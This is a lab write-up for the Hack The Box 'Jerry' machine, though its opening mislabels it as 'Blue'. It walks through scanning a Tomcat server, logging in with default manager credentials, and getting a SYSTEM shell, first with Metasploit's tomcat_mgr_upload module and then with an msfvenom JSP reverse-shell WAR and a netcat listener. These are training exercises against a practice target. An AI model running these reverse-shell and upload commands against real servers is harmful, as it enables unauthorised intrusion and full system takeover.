Hi Hackers Welcome Back, Today we are going to look at Hack The Box Blue Machine.
Info Table
Title
jerry
Category
Hack The Box
OS
Windows
Difficulty
Easy
Maker
Kill Chain Summery
While enumerating ports and services we can able to find the service, which is vulnerable OWASP-A07:2021 which can be easily exploited via publicly available scripts and Metasploit.
Mind Map
Recon
Letβs scan target machine is any ports are open
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ββ[atom@atom-vmwarevirtualplatform]β[~/htb/machines]ββββΌ $nmap -Pn -sC -sV -A 10.129.159.199 -oN initial
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-09 06:04 IST
Stats: 0:00:07 elapsed;0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 6.40% done; ETC: 06:06 (0:01:28 remaining)Nmap scan report for 10.129.159.199
Host is up (0.34s latency).
Not shown: 999 filtered tcp ports (no-response)PORT STATE SERVICE VERSION
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-title: Apache Tomcat/7.0.88
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.70 seconds
All port scan
1
2
3
4
5
6
7
8
9
10
ββ[atom@atom-vmwarevirtualplatform]β[~/htb/machines]ββββΌ $nmap -Pn -p- -T4 10.129.159.199 -oN aps
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-09 06:11 IST
Nmap scan report for 10.129.159.199
Host is up (0.33s latency).
Not shown: 65534 filtered tcp ports (no-response)PORT STATE SERVICE
8080/tcp open http-proxy
Nmap done: 1 IP address (1 host up) scanned in 426.05 seconds
There is only one port open which is 8080, if we get look into port 8080. it is a tomcat default page, if you saw any web page next step you need to do is directory brute force.
ββ[atom@atom-vmwarevirtualplatform]β[~]βββ_ $gobuster dir -u http://10.129.159.199:8080 --wordlist /usr/share/wordlists/dirb/small.txt
===============================================================Gobuster v3.1.0
by OJ Reeves (@TheColonial)& Christian Mehlmauer (@firefart)===============================================================[+] Url: http://10.129.159.199:8080
[+] Method: GET
[+] Threads: 10[+] Wordlist: /usr/share/wordlists/dirb/small.txt
[+] Negative Status codes: 404[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s===============================================================2022/06/09 06:15:51 Starting gobuster in directory enumeration mode===============================================================/con (Status: 200)[Size: 0]/docs (Status: 302)[Size: 0][--> /docs/]/examples (Status: 302)[Size: 0][--> /examples/]/manager (Status: 302)[Size: 0][--> /manager/]/nul (Status: 200)[Size: 0]===============================================================2022/06/09 06:16:28 Finished===============================================================
Among all of the directory manager directory makes more interest, lets go to manager directory. whoo it asks password, letβs try to enter any gussable password like admin:admin.
Look into error page it displays default username and password. tomcat:s3cret
wow we logged in, while exploring application i have found temple upload feature
letβs search any tomcat exploit available on Metasploit
[msf](Jobs:0 Agents:0) exploit(multi/http/tomcat_mgr_upload) >> show options
Module options (exploit/multi/http/tomcat_mgr_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword no The password for the specified username
HttpUsername no The username to authenticate as
Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /manager yes The URI path of the manager app (/html/upload and /undeploy will be used) VHOST no HTTP server virtual host
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.132.128 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Java Universal
[msf](Jobs:0 Agents:0) exploit(multi/http/tomcat_mgr_upload) >> set HttpPassword s3cret
HttpPassword=> s3cret
[msf](Jobs:0 Agents:0) exploit(multi/http/tomcat_mgr_upload) >> set HttpUsername tomcat
HttpUsername=> tomcat
[msf](Jobs:0 Agents:0) exploit(multi/http/tomcat_mgr_upload) >> set rhost 10.129.159.199
rhost=> 10.129.159.199
[msf](Jobs:0 Agents:0) exploit(multi/http/tomcat_mgr_upload) >> set rport 8080rport=> 8080[msf](Jobs:0 Agents:0) exploit(multi/http/tomcat_mgr_upload) >> set lhost 10.10.14.33
lhost=> 10.10.14.33
[msf](Jobs:0 Agents:0) exploit(multi/http/tomcat_mgr_upload) >> exploit
[*] Started reverse TCP handler on 10.10.14.33:4444
[*] Retrieving session ID and CSRF token...
[*] Uploading and deploying rjeUAAh...
[*] Executing rjeUAAh...
[*] Sending stage (58829 bytes) to 10.129.159.199
[*] Undeploying rjeUAAh ...
[*] Undeployed at /manager/html/undeploy
[*] Meterpreter session 1 opened (10.10.14.33:4444 -> 10.129.159.199:49192 ) at 2022-06-09 07:00:51 +0530
(Meterpreter 1)(C:\apache-tomcat-7.0.88) >
yes, we got shell, the good thing is we donβt need to spend time on privilege escalation.
1
2
3
4
5
6
7
8
9
C:\Users\Administrator\Desktop\flags>type "2 for the price of 1.txt
type "2for the price of 1.txt
user.txt
7004dbcef0f854e0----------
root.txt
04a8b36e1545a4553-------------
C:\Users\Administrator\Desktop\flags>whoami
whoami
nt authority\system
Exploiting via Manual Method
We know the platform and web server, using the known information create revers shell using msfvenom
1
2
3
4
5
ββ[atom@atom-vmwarevirtualplatform]β[~/htb/machines/jerry]ββββΌ $msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.33 LPORT=9999 -f war -o rshell.war
Payload size: 1090 bytes
Final size of war file: 1090 bytes
Saved as: rshell.war
we already know, there is an upload feature which accept .war format templet, based on that we have created payload, lessen the configured port and upload the payload and click Deploy
1
2
3
4
5
6
7
8
ββ[β]β[atom@atom-vmwarevirtualplatform]β[~/htb/machines/jerry]ββββΌ $nc -nlvp 9999listening on [any]9999 ...
connect to [10.10.14.33] from (UNKNOWN)[10.129.159.199]49193Microsoft Windows [Version 6.3.9600](c)2013 Microsoft Corporation. All rights reserved.
C:\apache-tomcat-7.0.88>